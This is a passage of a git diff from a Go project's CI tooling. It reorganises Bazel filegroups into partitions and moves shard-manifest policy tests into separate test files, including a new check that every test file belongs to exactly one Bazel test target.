".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, - // D2 step 2: the proxied and server lanes' suites. - {"test-proxied-cmd", ".github/scripts/proxied-test-shard.sh", "cmd/bd"}, - {"test-server-storage-full", ".github/scripts/server-storage-test-shard.sh", "internal/storage/dolt"}, - } { - var src strings.Builder - files, err := filepath.Glob(filepath.Join(root, c.pkg, "*_test.go")) - if err != nil || len(files) == 0 { - t.Fatalf("%s: no _test.go files (%v)", c.pkg, err) - } - for _, f := range files { - data, err := os.ReadFile(f) - if err != nil { - t.Fatal(err) - } - src.Write(data) - src.WriteString("\n") - } - declared := map[string]bool{} - for _, d := range regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`).FindAllStringSubmatch(src.String(), -1) { - declared[d[1]] = true - } - - // B1: validate every total this script's committed manifest holds a - // block for, plus this job's own PR Risk matrix size and (for - // test-proxied-cmd) the Bazel lane's own shard_count — not just - // whichever total happens to equal this PR Risk job's matrix. Before - // F2 those always coincided; now the Bazel-only bazel-proxied lane - // reads a manifest block (30) that no PR-Risk-matrix-only check ever - // exercises, so a fork PR (which never runs bazel-proxied) could - // corrupt that block and still merge green. Looping over every - // distinct total in the manifest closes that gap for this script and - // any other script that later grows a second block the same way. - mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) - if mm == nil { - t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) - } - totalsSet := map[int]bool{} - for _, line := range strings.Split(readPolicyFile(t, root, mm[1]), "\n") { - line, _, _ = strings.Cut(line, "#") - fields := strings.Fields(line) - if len(fields) == 0 { - continue - } - if n, err := strconv.Atoi(fields[0]); err == nil { - totalsSet[n] = true - } - } - switch c.script { - case ".github/scripts/proxied-test-shard.sh": - totalsSet[bazelProxiedShardCount(t)] = true - case ".github/scripts/embedded-test-shard.sh": - // F1: the Bazel-only bazel-embedded lane reads a 50-shard cmd - // block that no PR-Risk-matrix-only (20-shard) check exercises; - // without this, "BUILD.bazel's shard_count and bazel.yml's - // check_shard_coverage.py arg both drift to a new total with no - // manifest block" passes every policy test (see review S3) -- - // the lane then silently goes 100% hash fallback and loses its - // duration balancing. - totalsSet[bazelEmbeddedCmdShardCount(t)] = true - case ".github/scripts/embedded-storage-test-shard.sh": - // F1: mirrors the cmd case above for the 15-shard storage block. - totalsSet[bazelEmbeddedStorageShardCount(t)] = true - case ".github/scripts/server-storage-test-shard.sh": - totalsSet[bazelServerFullShardCount(t)] = true - } - totals := make([]int, 0, len(totalsSet)) - for n := range totalsSet { - totals = append(totals, n) - } - sort.Ints(totals) - - for _, shards := range totals { - // The scripts' hash fallback forks per test (seconds per shard - // for the server suite): list the shards concurrently. - outs, errs := make([][]byte, shards+1), make([]error, shards+1) - var wg sync.WaitGroup - for k := 1; k <= shards; k++ { - wg.Add(1) - go func(k int) { - defer wg.Done() - cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) - cmd.Dir = root - cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") - outs[k], errs[k] = cmd.Output() - }(k) - } - wg.Wait() - listed, manifestSum := 0, 0 - for k := 1; k <= shards; k++ { - if errs[k] != nil { - // The script itself exits 1 on a duplicate manifest entry - // or a manifest entry that names no discovered test - // (rename/typo/stale-after-delete), for the requested - // total only: this is what catches a corrupted block - // that a PR-Risk-matrix-only check at a different total - // would never see. - t.Fatalf("%s %d %d: %v\n%s", c.script, k, shards, errs[k], outs[k]) - } - for _, line := range strings.Split(string(outs[k]), "\n") { - if mc := regexp.MustCompile(`^ manifest: (\d+), fallback: \d+$`).FindStringSubmatch(line); mc != nil { - n, _ := strconv.Atoi(mc[1]) - manifestSum += n - continue - } - name, ok := strings.CutPrefix(line, " ") - if !ok || !strings.HasPrefix(name, "Test") || strings.ContainsAny(name, " :") { - continue - } - listed++ - isTest := declared[name] - switch { - case notTests[name] && isTest: - t.Errorf("%s shard %d/%d lists %s, which check_shard_coverage.py drops, but it is a real test", c.script, k, shards, name) - case !notTests[name] && !isTest: - t.Errorf("%s shard %d/%d lists %s, which is not a `func %s(t *testing.T)` test in %s: check_shard_coverage.py would report it missing on every run (add it to NOT_TESTS only if go test never runs it)", - c.script, k, shards, name, name, c.pkg) - } - } - } - if listed < 50 { - t.Errorf("%s at %d shards listed only %d tests; did the list-only output format change?", c.script, shards, listed) - } - // S1: a total that is supposed to have a committed manifest - // block (every total this loop considers does: it is either a - // live job's matrix size or a total this script's own manifest - // already names) must not have silently gone 100% hash fallback, - // which is what "the whole block was deleted" looks like from - // here: check_shard_coverage.py would still pass (it rebuilds - // its expectation from this same script), so nothing else - // catches it. - if manifestSum == 0 { - t.Errorf("%s at %d shards: manifest entries for this total sum to 0 across all shards (100%% hash fallback); its committed block in %s may have been deleted", c.script, shards, mm[1]) - } - } - } - for name := range notTests { - if name != "TestMain" { - t.Errorf("NOT_TESTS has %s; only TestMain is never a test", name) - } - } -} - -// S3: the Bazel-only 30-shard block is not frozen like the legacy 15-shard -// block (TestShardScriptsListOnlyRealTests's B1 fix catches outright -// corruption, but not a committed block that has drifted from the currently -// discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, -// renamed, or removed without anyone running --write). gen_proxied_shard_ -// manifest.py --check verifies only that the committed block names every -// discovered test exactly once -- not that its shard *assignments* match a -// fresh LPT pack -- and fails with the exact command to fix it when a name -// is missing, stale, or duplicated. It deliberately does NOT fail merely -// because proxied_test_durations.json's weights changed and the existing -// packing is now suboptimal: two PRs each adding one proxied test would -// otherwise force a full repack and conflict on unrelated shard lines (see -// --repack below for the explicit opt-in to that). Run --check here so a -// block with missing/stale/duplicate names fails go test ./scripts/... -// (//scripts:scripts_test under Bazel) instead of only -// surfacing as a test silently never running in any shard. The legacy -// 15-shard block is deliberately excluded: its header documents that it is -// frozen and must not be regenerated (see -// .github/scripts/proxied-cmd-test-shards.txt and engdocs/TESTING.md), so a -// --check against it would always fail by design. -func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { - python := requireHostTool(t, "python3") - root := sourceRepoRoot(t) - cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") - cmd.Dir = root - if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_proxied_shard_manifest.py 30 --weights=duration --check: %v\n%s", err, out) - } -} - // walkBazelFiles visits every BUILD.bazel and BUILD file under root (and, // with bzl, every .bzl file), skipping .git, node_modules and .beads. A // symlink to a regular file is visited: under `bazel test` on a local @@ -929,7 +735,9 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // Committed rc files: only .bazelrc. .bazelrc.local and user.bazelrc are // developer-local (gitignored) and would be try-imported into CI runs. - for _, f := range repoFiles(t, root) { + // Under Bazel the listing is //:repo_other_files, every tracked file but + // Go and Markdown source (no rc file is either): several hundred files. + for _, f := range repoFiles(t, root, 300) { base := filepath.Base(f) if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) @@ -1098,7 +906,7 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // selection is the point (a required-suite contract that checks it), and // nothing leaves the lanes. Pinned to exactly these args. extraRunVariants := map[string][]string{ - // The doc-freshness suite (also run by //scripts:scripts_test) under + // The doc-freshness suite (also run by //scripts:shell_scripts_test) under // -required-suite, as pr.yml's former Linux doc-freshness leg ran it. "//scripts:doc_freshness_required_test": { "-test.count=1", diff --git a/scripts/prlintmake/BUILD.bazel b/scripts/prlintmake/BUILD.bazel index e1fd0fd90..c36ad8c02 100644 --- a/scripts/prlintmake/BUILD.bazel +++ b/scripts/prlintmake/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index d907c8f9a..80b269077 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -11,8 +11,6 @@ import ( "testing" ) -const doltSQLServerImage = "dolthub/dolt-sql-server:2.2.0" - func TestPullDoltImageRetriesTransientFailures(t *testing.T) { tests := []struct { name string @@ -52,34 +50,6 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { } } -func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { - // No workflow pulls the image: every Dolt suite runs on hermetic dolt - // sql-servers (bazel.yml's dolt-server lanes) and needs no docker, since - // pr-risk.yml's container-backed legacy tiers were retired - // (ga-96smfk.22). The helper stays for local container-backed runs. - wantCalls := map[string]int{} - - workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") - workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) - if err != nil { - t.Fatal(err) - } - for _, path := range workflowPaths { - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - text := string(data) - name := filepath.Base(path) - if got, want := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"), wantCalls[name]; got != want { - t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) - } - if strings.Contains(text, "docker pull "+doltSQLServerImage) { - t.Errorf("%s still pulls the Dolt image without retries", name) - } - } -} - func TestPullDoltImageHelperIsExecutable(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Windows does not preserve Unix executable bits") diff --git a/scripts/repo_helpers_test.go b/scripts/repo_helpers_test.go index c44695897..f01b8abdf 100644 --- a/scripts/repo_helpers_test.go +++ b/scripts/repo_helpers_test.go @@ -1,11 +1,15 @@ package scripts_test -// Helpers shared by the package's test files, kept apart so a focused -// go_test over a few of them (//scripts:doc_freshness_required_test) compiles -// without the rest of the package. +// Helpers shared by the package's test files, kept apart so that each go_test +// in scripts/BUILD.bazel compiles only the files whose tests it runs (and so +// declares only the data those tests read). Helpers only: every target +// compiles this file, so a test here would run in all of them. import ( "errors" + "go/ast" + "go/token" + "os" "os/exec" "path/filepath" "runtime" @@ -22,7 +26,7 @@ func sourceRepoRoot(t *testing.T) string { t.Fatal("runtime.Caller failed") } // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it - // under the runfiles root, which holds the files scripts_test declares. + // under the runfiles root, which holds the files the go_test declares. return filepath.Dir(bazeltest.CallerDir(file, "scripts")) } @@ -45,3 +49,142 @@ func exitCode(err error) int { } return -1 } + +// bazelPolicyRoot returns the repository root holding the Bazel policy files. +// Under `bazel test` those files are declared as data (//:bazel_policy_files) +// and resolved from the runfiles tree; under `go test` the source checkout is +// used directly. +func bazelPolicyRoot(t *testing.T) string { + t.Helper() + if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != "" { + workspace := os.Getenv("TEST_WORKSPACE") + if workspace == "" { + workspace = "_main" + } + return filepath.Join(srcdir, workspace) + } + return sourceRepoRoot(t) +} + +func readPolicyFile(t *testing.T, root, name string) string { + t.Helper() + data, err := os.ReadFile(filepath.Join(root, name)) + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + return string(data) +} + +const ( + forkCacheEndpoint = "grpc" + "s://rbe-cache.ops.gascity.com:8443" + forkCacheInstance = "oss" + // zstd cache transfers: only the anonymous fork cache can advertise a + // compressor, so only fork-cache may ask for one, and only while + // write-bazelrc.sh's cache-zstd-probe.sh finds it advertised (a probe, + // not a repository variable: fork pull_request runs see no vars). + // Trusted remote-exec and rbe-fork never: their schedulers advertise + // none, and Bazel then refuses the remote. + forkCacheZstdLine = "build:fork-cache --remote_cache_compression" +) + +func gitRepoAvailable(root string) bool { + if _, err := exec.LookPath("git"); err != nil { + return false + } + return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil +} + +// repoFiles lists the repository's tracked files under root, repo-relative and +// slash-separated, each a regular file (or, in a local runfiles tree, a +// symlink to one). Under `go test` in a git checkout that is `git ls-files` +// less what the working tree no longer holds; under Bazel it is the runfiles +// tree, whose repository part is what the go_test declares: //:repo_files +// (every tracked file outside .bazelignore, tools/bazel/go_srcs.py) or one of +// its partitions; elsewhere every file under root. A listing of fewer than +// minFiles files fails the test: an empty or partial tree would pass every +// scan. +func repoFiles(t *testing.T, root string, minFiles int) []string { + t.Helper() + var files []string + if bazeltest.IsBazel() || !gitRepoAvailable(root) { + err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() || !isFileOrFileLink(path, d) { + return nil + } + rel, err := filepath.Rel(root, path) + if err != nil { + return err + } + files = append(files, filepath.ToSlash(rel)) + return nil + }) + if err != nil { + t.Fatalf("walk %s: %v", root, err) + } + } else { + out, err := exec.Command("git", "-C", root, "ls-files", "-z").Output() + if err != nil { + t.Fatalf("git ls-files: %v", err) + } + for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + info, err := os.Lstat(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil || !info.Mode().IsRegular() { + continue // deleted in the worktree, submodule, or symlink + } + files = append(files, rel) + } + } + if len(files) < minFiles { + t.Fatalf("found only %d repository files under %s; the listing is broken", len(files), root) + } + return files +} + +// isFileOrFileLink reports whether a WalkDir entry is a regular file or a +// symlink to one. Bazel's local runfiles trees are symlink forests, so a walk +// that skipped symlinks would see no file there; a symlink to a directory +// (Bazel's bazel-* convenience links in a checkout) is never followed. +func isFileOrFileLink(path string, d os.DirEntry) bool { + if d.Type().IsRegular() { + return true + } + if d.Type()&os.ModeSymlink == 0 { + return false + } + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() +} + +// bazelRuleBlock returns the text of the top-level rule named name in a +// BUILD file, or "" if there is none. +func bazelRuleBlock(build, name string) string { + i := strings.Index(build, "\n name = \""+name+"\",\n") + if i < 0 { + return "" + } + start := strings.LastIndex(build[:i], "\n") + 1 + end := strings.Index(build[i:], "\n)\n") + if end < 0 { + return build[start:] + } + return build[start : i+end+3] +} + +func exits(body *ast.BlockStmt) bool { + for _, st := range body.List { + switch st := st.(type) { + case *ast.ReturnStmt: + return true + case *ast.BranchStmt: + if st.Tok == token.CONTINUE { + return true + } + } + } + return false +} + +const doltSQLServerImage = "dolthub/dolt-sql-server:2.2.0" diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel index bc588c140..7940a4538 100644 --- a/scripts/repochecks/BUILD.bazel +++ b/scripts/repochecks/BUILD.bazel @@ -12,6 +12,12 @@ load("//tools/bazel:repo_subset.bzl", "repo_subset") # tools/bazel/check_testcases.py's Go testcase count (--not-go # //scripts/repochecks:all in bazel.yml's integration lane). # +# Each slice selects from the narrowest partition of the checkout that holds +# its files (tools/bazel/go_srcs.py: //:repo_go_srcs, //:repo_go_test_srcs, +# //:repo_doc_files, //:repo_other_files), so the guards that read no Go or +# no Markdown are not reverse dependencies of a Go-only or docs-only change. +# Only the guards that read every kind of file select from //:repo_files. +# # What each slice holds must cover what its guard reads: a renamed input fails # the build (repo_subset rejects a pattern that matches nothing), and a guard # over a slice missing a file it names fails rather than passing (e.g. @@ -21,7 +27,12 @@ load("//tools/bazel:repo_subset.bzl", "repo_subset") # checkout layout and --env (testdata/assert_tree.sh says what it expects). repo_subset( name = "run_check_fixture", - srcs = ["//:repo_files"], + srcs = [ + # This package's own files, its Markdown too: testdata/skip.md must + # be there to be left out. + ":repo_doc_files", + ":repo_other_files", + ], include = [ "scripts/repochecks/testdata/*.txt", "scripts/repochecks/testdata/assert_tree.sh", @@ -53,7 +64,7 @@ sh_test( # pathspecs, as a slice. repo_subset( name = "build_tags_files", - srcs = ["//:repo_files"], + srcs = ["//:repo_other_files"], include = [ "**/*.sh", ".bazelrc", @@ -78,7 +89,7 @@ sh_test( repo_subset( name = "workflow_files", - srcs = ["//:repo_files"], + srcs = ["//:repo_other_files"], include = [".github/workflows/*.yml"], ) @@ -134,7 +145,10 @@ sh_test( repo_subset( name = "winget_files", - srcs = ["//:repo_files"], + srcs = [ + "//:winget_manifests", + "//scripts:repo_other_files", + ], include = [ "scripts/check-winget-portable-alias.sh", "winget/*.installer.yaml", @@ -143,7 +157,7 @@ repo_subset( # check-winget-portable-alias.sh: every nested-portable winget installer # carries PortableCommandAlias: bd (GH#4908). yq comes from the executor, as -# for //scripts:scripts_test. +# for //scripts:shell_scripts_test. sh_test( name = "winget_portable_alias_test", srcs = ["run_check.sh"], @@ -158,7 +172,10 @@ sh_test( repo_subset( name = "migration_files", - srcs = ["//:repo_files"], + srcs = [ + "//internal/storage/schema:repo_other_files", + "//scripts:repo_other_files", + ], include = [ "internal/storage/schema/migrations/**", "scripts/check-migration-hygiene.sh", @@ -183,7 +200,11 @@ sh_test( repo_subset( name = "go_files", - srcs = ["//:repo_files"], + srcs = [ + "//:repo_go_srcs", + "//:repo_go_test_srcs", + "//scripts:repo_other_files", + ], include = [ "**/*.go", "scripts/ci/fmt-check.sh", @@ -284,7 +305,12 @@ sh_test( repo_subset( name = "workapi_files", - srcs = ["//:repo_files"], + srcs = [ + # The guard greps internal/workapi's .go files only. + "//:repo_go_srcs", + "//:repo_go_test_srcs", + "//scripts:repo_other_files", + ], include = [ "internal/workapi/**", "scripts/check-workapi-frontend-boundary.sh", @@ -332,12 +358,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -346,7 +411,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/repro-dolt-hang/BUILD.bazel b/scripts/repro-dolt-hang/BUILD.bazel index 9c219dbf9..7280ecc0a 100644 --- a/scripts/repro-dolt-hang/BUILD.bazel +++ b/scripts/repro-dolt-hang/BUILD.bazel @@ -20,12 +20,51 @@ go_binary( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -34,7 +73,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/repro-dolt-prod-timeouts/BUILD.bazel b/scripts/repro-dolt-prod-timeouts/BUILD.bazel index ee97e8e8f..7a807129c 100644 --- a/scripts/repro-dolt-prod-timeouts/BUILD.bazel +++ b/scripts/repro-dolt-prod-timeouts/BUILD.bazel @@ -36,12 +36,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -50,7 +89,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/scripts_targets_test.go b/scripts/scripts_targets_test.go new file mode 100644 index 000000000..a35fe17ff --- /dev/null +++ b/scripts/scripts_targets_test.go @@ -0,0 +1,105 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" +) + +// This package's tests are split over several go_test targets in +// scripts/BUILD.bazel, each compiling the files whose tests it runs and +// declaring only the data they read. Their srcs are kept by hand (gazelle +// would put every file back into scripts_test), so nothing else notices a new +// _test.go file in no target (its tests would never run under Bazel) or a file +// in two (its tests would run twice, one copy without the data it reads). + +var ( + scriptsGoTestRuleRe = regexp.MustCompile(`(?ms)^go_test\(\n(.*?)^\)$`) + scriptsRuleNameRe = regexp.MustCompile(`(?m)^ name = "([^"]+)",$`) + scriptsRuleSrcsRe = regexp.MustCompile(`(?ms)^ srcs = \[(.*?)\],`) + scriptsQuotedRe = regexp.MustCompile(`"([^"]+)"`) + scriptsTestFuncRe = regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`) +) + +// scriptsTargetProblems checks build's go_test targets against tests, each +// _test.go file's top-level Test functions. A target whose args hold +// -required-suite is a second, selective run over tests another target runs +// in full (TestBazelRetiredLanesCannotBeNarrowed pins those) and is ignored. +func scriptsTargetProblems(build string, tests map[string][]string) []string { + var problems []string + owners := map[string][]string{} + for _, m := range scriptsGoTestRuleRe.FindAllStringSubmatch(build, -1) { + rule := m[1] + if strings.Contains(rule, "-required-suite") { + continue + } + name := scriptsRuleNameRe.FindStringSubmatch(rule) + srcs := scriptsRuleSrcsRe.FindStringSubmatch(rule) + if name == nil || srcs == nil { + problems = append(problems, "a go_test has no parsable name or srcs list:\n"+rule) + continue + } + for _, src := range scriptsQuotedRe.FindAllStringSubmatch(srcs[1], -1) { + if _, ok := tests[src[1]]; !ok { + problems = append(problems, name[1]+" lists "+src[1]+", which is not a _test.go file here") + continue + } + owners[src[1]] = append(owners[src[1]], name[1]) + } + } + files := make([]string, 0, len(tests)) + for f := range tests { + files = append(files, f) + } + sort.Strings(files) + for _, f := range files { + switch targets := owners[f]; { + case len(targets) == 0: + problems = append(problems, f+" is in no go_test: its tests never run under Bazel; add it to the target that declares what they read") + case len(targets) > 1 && len(tests[f]) > 0: + problems = append(problems, f+" defines tests ("+strings.Join(tests[f], ", ")+") and is in "+strings.Join(targets, " and ")+": they would run in each; move shared helpers to a helpers-only file") + } + } + return problems +} + +func TestScriptsTestTargetsPartitionTheTests(t *testing.T) { + fixture := "go_test(\n name = \"a_test\",\n srcs = [\n \"a_test.go\",\n \"helpers_test.go\",\n ],\n)\n\n" + + "go_test(\n name = \"b_test\",\n srcs = [\n \"a_test.go\",\n \"helpers_test.go\",\n ],\n)\n\n" + + "go_test(\n name = \"v_test\",\n srcs = [\"c_test.go\"],\n args = [\"-required-suite=x\"],\n)\n" + got := scriptsTargetProblems(fixture, map[string][]string{ + "a_test.go": {"TestA"}, + "c_test.go": {"TestC"}, + "helpers_test.go": nil, + }) + if len(got) != 2 || !strings.HasPrefix(got[0], "a_test.go defines tests (TestA) and is in a_test and b_test") || !strings.HasPrefix(got[1], "c_test.go is in no go_test") { + t.Errorf("fixture problems = %q; want a_test.go in two targets and c_test.go in none (helpers_test.go may be shared)", got) + } + + root := sourceRepoRoot(t) + paths, err := filepath.Glob(filepath.Join(root, "scripts", "*_test.go")) + if err != nil { + t.Fatal(err) + } + if len(paths) < 40 { + t.Fatalf("found only %d scripts/*_test.go files; the listing is broken", len(paths)) + } + tests := map[string][]string{} + for _, p := range paths { + data, err := os.ReadFile(p) + if err != nil { + t.Fatal(err) + } + var names []string + for _, m := range scriptsTestFuncRe.FindAllStringSubmatch(string(data), -1) { + names = append(names, m[1]) + } + tests[filepath.Base(p)] = names + } + for _, p := range scriptsTargetProblems(readPolicyFile(t, root, "scripts/BUILD.bazel"), tests) { + t.Errorf("scripts/BUILD.bazel: %s", p) + } +} diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go new file mode 100644 index 000000000..bbc953180 --- /dev/null +++ b/scripts/shard_manifest_test.go @@ -0,0 +1,251 @@ +package scripts_test + +// The shard manifests and shard scripts against the Go tests they shard: +// //scripts:go_test_sources_test, which reads the _test.go files of the +// sharded packages (and no non-test Go source), so an edit to a workflow file, +// a doc or a non-test Go file leaves it cached. + +import ( + "os" + "os/exec" + "path/filepath" + "regexp" + "sort" + "strconv" + "strings" + "sync" + "testing" +) + +// S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale below — +// see that test's doc comment for the full --check rationale, not repeated +// here): the Bazel-only 50-shard cmd block and 15-shard storage block are +// not frozen like their files' legacy 20- and 5-shard blocks. +// gen_embedded_{cmd,storage}_shard_manifest.py --check verifies only that +// the committed block names every discovered test exactly once, failing with +// the exact command to fix it when a name is missing, stale, or duplicated — +// run here so a drifted block fails `go test ./scripts/...` +// (//scripts:go_test_sources_test under Bazel) instead of only surfacing as +// a test silently never running in any shard. The legacy blocks are +// deliberately excluded: both files document that their 20- and 5-shard +// blocks are frozen (see .github/scripts/embedded-{cmd,storage}- +// test-shards.txt and engdocs/TESTING.md), so a --check against them is +// expected to report "missing" entries by design (see those generators' +// module docstrings) and is not what this test runs. +func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + shards := strconv.Itoa(bazelEmbeddedCmdShardCount(t)) + cmd := exec.Command(python, "scripts/ci/gen_embedded_cmd_shard_manifest.py", shards, "--weights=duration", "--check") + cmd.Dir = root + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("gen_embedded_cmd_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) + } +} + +// TestStorageEmbeddedShardManifestGeneratorNotStale mirrors +// TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's +// Bazel-only 15-shard block; see that test's doc comment. +func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + shards := strconv.Itoa(bazelEmbeddedStorageShardCount(t)) + cmd := exec.Command(python, "scripts/ci/gen_embedded_storage_shard_manifest.py", shards, "--weights=duration", "--check") + cmd.Dir = root + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("gen_embedded_storage_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) + } +} + +// Review G1: the checker's input is the real shard scripts' list-only +// output (every retired lane's: the embedded, proxied and server suites). Every name they list, for every shard, must be a test go test +// runs (declared `func Name(t *testing.T)` in the package's _test.go files), +// or one check_shard_coverage.py drops as NOT_TESTS; and each NOT_TESTS name +// must really not be a test (TestMain takes *testing.M). Otherwise the +// checker reports a listed test that "did not run" on every real run. +func TestShardScriptsListOnlyRealTests(t *testing.T) { + // The CI shard scripts use bash 4 associative arrays (Linux runners only). + requireAutofixBash(t) + root := sourceRepoRoot(t) + m := regexp.MustCompile(`(?m)^NOT_TESTS = frozenset\(\{([^}]*)\}\)`).FindStringSubmatch(readPolicyFile(t, root, "tools/bazel/check_shard_coverage.py")) + if m == nil { + t.Fatal("tools/bazel/check_shard_coverage.py has no NOT_TESTS = frozenset({...})") + } + notTests := map[string]bool{} + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { + notTests[q[1]] = true + } + for _, c := range []struct{ job, script, pkg string }{ + {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, + {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, + // D2 step 2: the proxied and server lanes' suites. + {"test-proxied-cmd", ".github/scripts/proxied-test-shard.sh", "cmd/bd"}, + {"test-server-storage-full", ".github/scripts/server-storage-test-shard.sh", "internal/storage/dolt"}, + } { + var src 